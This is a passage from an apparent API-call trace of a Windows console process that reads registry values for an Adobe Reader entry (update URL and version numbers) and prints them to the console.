CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0150.375] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.375] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.376] __iob_func () returned 0x7fefd702a80 [0150.376] _fileno (_File=0x7fefd702ab0) returned 1 [0150.376] _errno () returned 0x204bb0 [0150.376] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.376] _errno () returned 0x204bb0 [0150.376] GetFileType (hFile=0x50) returned 0x1 [0150.376] lstrlenW (lpString=" ") returned 4 [0150.376] GetConsoleOutputCP () returned 0x1b5 [0150.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.376] GetConsoleOutputCP () returned 0x1b5 [0150.376] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.376] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.376] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.376] __iob_func () returned 0x7fefd702a80 [0150.376] _fileno (_File=0x7fefd702ab0) returned 1 [0150.376] _errno () returned 0x204bb0 [0150.376] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.376] _errno () returned 0x204bb0 [0150.376] GetFileType (hFile=0x50) returned 0x1 [0150.376] lstrlenW (lpString="REG_SZ") returned 6 [0150.376] GetConsoleOutputCP () returned 0x1b5 [0150.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.377] GetConsoleOutputCP () returned 0x1b5 [0150.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.377] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.377] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.377] __iob_func () returned 0x7fefd702a80 [0150.377] _fileno (_File=0x7fefd702ab0) returned 1 [0150.377] _errno () returned 0x204bb0 [0150.377] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.377] _errno () returned 0x204bb0 [0150.377] GetFileType (hFile=0x50) returned 0x1 [0150.377] lstrlenW (lpString=" ") returned 4 [0150.377] GetConsoleOutputCP () returned 0x1b5 [0150.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.377] GetConsoleOutputCP () returned 0x1b5 [0150.377] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.377] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.377] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.378] __iob_func () returned 0x7fefd702a80 [0150.378] _fileno (_File=0x7fefd702ab0) returned 1 [0150.378] _errno () returned 0x204bb0 [0150.378] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.378] _errno () returned 0x204bb0 [0150.378] GetFileType (hFile=0x50) returned 0x1 [0150.378] lstrlenW (lpString="http://www.adobe.com/products/acrobat/readstep.html") returned 51 [0150.378] GetConsoleOutputCP () returned 0x1b5 [0150.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/products/acrobat/readstep.html", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0150.378] GetConsoleOutputCP () returned 0x1b5 [0150.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/products/acrobat/readstep.html", cchWideChar=51, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://www.adobe.com/products/acrobat/readstep.html", lpUsedDefaultChar=0x0) returned 51 [0150.378] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 51 [0150.378] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.378] __iob_func () returned 0x7fefd702a80 [0150.378] _fileno (_File=0x7fefd702ab0) returned 1 [0150.378] _errno () returned 0x204bb0 [0150.378] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.378] _errno () returned 0x204bb0 [0150.378] GetFileType (hFile=0x50) returned 0x1 [0150.378] lstrlenW (lpString="\n") returned 1 [0150.378] GetConsoleOutputCP () returned 0x1b5 [0150.378] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.378] GetConsoleOutputCP () returned 0x1b5 [0150.379] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.379] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.379] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.379] GetProcessHeap () returned 0x3c0000 [0150.379] GetProcessHeap () returned 0x3c0000 [0150.379] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.379] GetProcessHeap () returned 0x3c0000 [0150.379] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.379] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.379] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.379] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.379] GetProcessHeap () returned 0x3c0000 [0150.379] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.379] GetProcessHeap () returned 0x3c0000 [0150.379] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.379] GetProcessHeap () returned 0x3c0000 [0150.379] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.379] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xa, pcbData=0x29f780*=0x4) returned 0x0 [0150.379] __iob_func () returned 0x7fefd702a80 [0150.379] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.379] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.379] _fileno (_File=0x7fefd702ab0) returned 1 [0150.379] _errno () returned 0x204bb0 [0150.379] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.379] _errno () returned 0x204bb0 [0150.379] GetFileType (hFile=0x50) returned 0x1 [0150.379] lstrlenW (lpString=" ") returned 4 [0150.379] GetConsoleOutputCP () returned 0x1b5 [0150.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.380] GetConsoleOutputCP () returned 0x1b5 [0150.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.380] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.380] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.380] lstrlenW (lpString="VersionMajor") returned 12 [0150.380] __iob_func () returned 0x7fefd702a80 [0150.380] _fileno (_File=0x7fefd702ab0) returned 1 [0150.380] _errno () returned 0x204bb0 [0150.380] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.380] _errno () returned 0x204bb0 [0150.380] GetFileType (hFile=0x50) returned 0x1 [0150.380] lstrlenW (lpString="VersionMajor") returned 12 [0150.380] GetConsoleOutputCP () returned 0x1b5 [0150.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.380] GetConsoleOutputCP () returned 0x1b5 [0150.380] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0150.380] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.380] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.380] __iob_func () returned 0x7fefd702a80 [0150.380] _fileno (_File=0x7fefd702ab0) returned 1 [0150.381] _errno () returned 0x204bb0 [0150.381] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.381] _errno () returned 0x204bb0 [0150.381] GetFileType (hFile=0x50) returned 0x1 [0150.381] lstrlenW (lpString=" ") returned 4 [0150.381] GetConsoleOutputCP () returned 0x1b5 [0150.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.381] GetConsoleOutputCP () returned 0x1b5 [0150.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.381] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.381] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.381] __iob_func () returned 0x7fefd702a80 [0150.381] _fileno (_File=0x7fefd702ab0) returned 1 [0150.381] _errno () returned 0x204bb0 [0150.381] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.381] _errno () returned 0x204bb0 [0150.381] GetFileType (hFile=0x50) returned 0x1 [0150.381] lstrlenW (lpString="REG_DWORD") returned 9 [0150.381] GetConsoleOutputCP () returned 0x1b5 [0150.381] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.381] GetConsoleOutputCP () returned 0x1b5 [0150.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.382] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.382] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.382] __iob_func () returned 0x7fefd702a80 [0150.382] _fileno (_File=0x7fefd702ab0) returned 1 [0150.382] _errno () returned 0x204bb0 [0150.382] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.382] _errno () returned 0x204bb0 [0150.382] GetFileType (hFile=0x50) returned 0x1 [0150.382] lstrlenW (lpString=" ") returned 4 [0150.382] GetConsoleOutputCP () returned 0x1b5 [0150.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.382] GetConsoleOutputCP () returned 0x1b5 [0150.382] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.382] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.382] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.382] __iob_func () returned 0x7fefd702a80 [0150.382] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.382] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xa") returned 3 [0150.382] _fileno (_File=0x7fefd702ab0) returned 1 [0150.382] _errno () returned 0x204bb0 [0150.382] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.382] _errno () returned 0x204bb0 [0150.382] GetFileType (hFile=0x50) returned 0x1 [0150.382] lstrlenW (lpString="0xa") returned 3 [0150.383] GetConsoleOutputCP () returned 0x1b5 [0150.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.383] GetConsoleOutputCP () returned 0x1b5 [0150.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa", lpUsedDefaultChar=0x0) returned 3 [0150.383] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.383] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.383] __iob_func () returned 0x7fefd702a80 [0150.383] _fileno (_File=0x7fefd702ab0) returned 1 [0150.383] _errno () returned 0x204bb0 [0150.383] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.383] _errno () returned 0x204bb0 [0150.383] GetFileType (hFile=0x50) returned 0x1 [0150.383] lstrlenW (lpString="\n") returned 1 [0150.383] GetConsoleOutputCP () returned 0x1b5 [0150.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.383] GetConsoleOutputCP () returned 0x1b5 [0150.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.383] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.383] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.384] GetProcessHeap () returned 0x3c0000 [0150.384] GetProcessHeap () returned 0x3c0000 [0150.384] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.384] GetProcessHeap () returned 0x3c0000 [0150.384] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.384] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.384] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.384] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.384] GetProcessHeap () returned 0x3c0000 [0150.384] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.384] GetProcessHeap () returned 0x3c0000 [0150.384] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.384] GetProcessHeap () returned 0x3c0000 [0150.384] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.384] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.384] __iob_func () returned 0x7fefd702a80 [0150.384] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.384] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.384] _fileno (_File=0x7fefd702ab0) returned 1 [0150.384] _errno () returned 0x204bb0 [0150.384] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.384] _errno () returned 0x204bb0 [0150.384] GetFileType (hFile=0x50) returned 0x1 [0150.384] lstrlenW (lpString=" ") returned 4 [0150.384] GetConsoleOutputCP () returned 0x1b5 [0150.384] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.384] GetConsoleOutputCP () returned 0x1b5 [0150.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.385] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.385] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.385] lstrlenW (lpString="VersionMinor") returned 12 [0150.385] __iob_func () returned 0x7fefd702a80 [0150.385] _fileno (_File=0x7fefd702ab0) returned 1 [0150.385] _errno () returned 0x204bb0 [0150.385] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.385] _errno () returned 0x204bb0 [0150.385] GetFileType (hFile=0x50) returned 0x1 [0150.385] lstrlenW (lpString="VersionMinor") returned 12 [0150.385] GetConsoleOutputCP () returned 0x1b5 [0150.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.385] GetConsoleOutputCP () returned 0x1b5 [0150.385] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0150.385] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.385] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.385] __iob_func () returned 0x7fefd702a80 [0150.385] _fileno (_File=0x7fefd702ab0) returned 1 [0150.385] _errno () returned 0x204bb0 [0150.385] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.385] _errno () returned 0x204bb0 [0150.385] GetFileType (hFile=0x50) returned 0x1 [0150.385] lstrlenW (lpString=" ") returned 4 [0150.385] GetConsoleOutputCP () returned 0x1b5 [0150.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.386] GetConsoleOutputCP () returned 0x1b5 [0150.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.386] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.386] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.386] __iob_func () returned 0x7fefd702a80 [0150.386] _fileno (_File=0x7fefd702ab0) returned 1 [0150.386] _errno () returned 0x204bb0 [0150.386] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.386] _errno () returned 0x204bb0 [0150.386] GetFileType (hFile=0x50) returned 0x1 [0150.386] lstrlenW (lpString="REG_DWORD") returned 9 [0150.386] GetConsoleOutputCP () returned 0x1b5 [0150.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.386] GetConsoleOutputCP () returned 0x1b5 [0150.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.386] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.386] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.386] __iob_func () returned 0x7fefd702a80 [0150.387] _fileno (_File=0x7fefd702ab0) returned 1 [0150.387] _errno () returned 0x204bb0 [0150.387] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.387] _errno () returned 0x204bb0 [0150.387] GetFileType (hFile=0x50) returned 0x1 [0150.387] lstrlenW (lpString=" ") returned 4 [0150.387] GetConsoleOutputCP () returned 0x1b5 [0150.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.387] GetConsoleOutputCP () returned 0x1b5 [0150.387] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.387] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.387] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.387] __iob_func () returned 0x7fefd702a80 [0150.387] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.387] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0150.387] _fileno (_File=0x7fefd702ab0) returned 1 [0150.387] _errno () returned 0x204bb0 [0150.387] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.387] _errno () returned 0x204bb0 [0150.388] GetFileType (hFile=0x50) returned 0x1 [0150.388] lstrlenW (lpString="0x0") returned 3 [0150.388] GetConsoleOutputCP () returned 0x1b5 [0150.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.388] GetConsoleOutputCP () returned 0x1b5 [0150.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0150.388] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.388] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.388] __iob_func () returned 0x7fefd702a80 [0150.388] _fileno (_File=0x7fefd702ab0) returned 1 [0150.388] _errno () returned 0x204bb0 [0150.388] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.388] _errno () returned 0x204bb0 [0150.388] GetFileType (hFile=0x50) returned 0x1 [0150.388] lstrlenW (lpString="\n") returned 1 [0150.388] GetConsoleOutputCP () returned 0x1b5 [0150.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.388] GetConsoleOutputCP () returned 0x1b5 [0150.388] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", 